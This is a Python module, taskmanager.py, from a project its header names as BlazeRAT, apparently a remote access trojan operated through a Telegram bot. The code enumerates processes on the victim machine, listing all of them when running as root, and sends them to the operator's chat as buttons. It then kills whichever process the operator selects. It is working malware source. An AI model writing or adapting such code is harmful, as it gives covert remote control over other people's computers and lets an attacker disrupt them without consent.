taskmanager.py 2.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3. # Import modules
  4. from telebot import types
  5. from core.logger import Log
  6. from os import getlogin, geteuid
  7. from psutil import process_iter, Process
  8. from core.messages import services as Messages
  9. """
  10. Author : LimerBoy
  11. github.com/LimerBoy/BlazeRAT
  12. Notes :
  13. The file is needed
  14. to work with processes.
  15. """
  16. """ Kill process by PID """
  17. def KillProcess(callback: dict, bot):
  18. pid = int(callback.data[2:])
  19. chatid = callback.from_user.id
  20. Log(f"TaskManager >> Kill process {pid}", chatid)
  21. process = None
  22. try:
  23. process = Process(pid)
  24. if process != None:
  25. print(process)
  26. name = process.name()
  27. process.kill()
  28. except Exception as error:
  29. bot.send_message(chatid, Messages.taskmanager_process_kill_failed % (pid, error))
  30. else:
  31. bot.send_message(chatid, Messages.taskmanager_process_kill_success % (name, pid))
  32. """ Get process list """
  33. def ShowProcesses(message: dict, bot) -> None:
  34. chatid = message.chat.id
  35. bot.send_chat_action(chatid, "typing")
  36. Log("TaskManager >> Get process list", chatid)
  37. username = getlogin()
  38. is_root = geteuid() == 0
  39. if is_root: username = "root"
  40. # Get processes list
  41. processes = []
  42. for process in process_iter(['pid', 'name', 'username']):
  43. # Если юзер - root, то выводим все процессы
  44. if is_root:
  45. processes.append(process)
  46. # Если юзер не рут то выводим только его процессы
  47. else:
  48. if process.info["username"] == username:
  49. processes.append(process)
  50. # Create inline keyboard
  51. markup = types.InlineKeyboardMarkup()
  52. for process in processes:
  53. markup.add(types.InlineKeyboardButton(text=process.info["name"], callback_data="TM" + str(process.info["pid"])))
  54. # Show
  55. bot.send_message(chatid, Messages.taskmanager_process_list % (username, len(processes)), reply_markup=markup)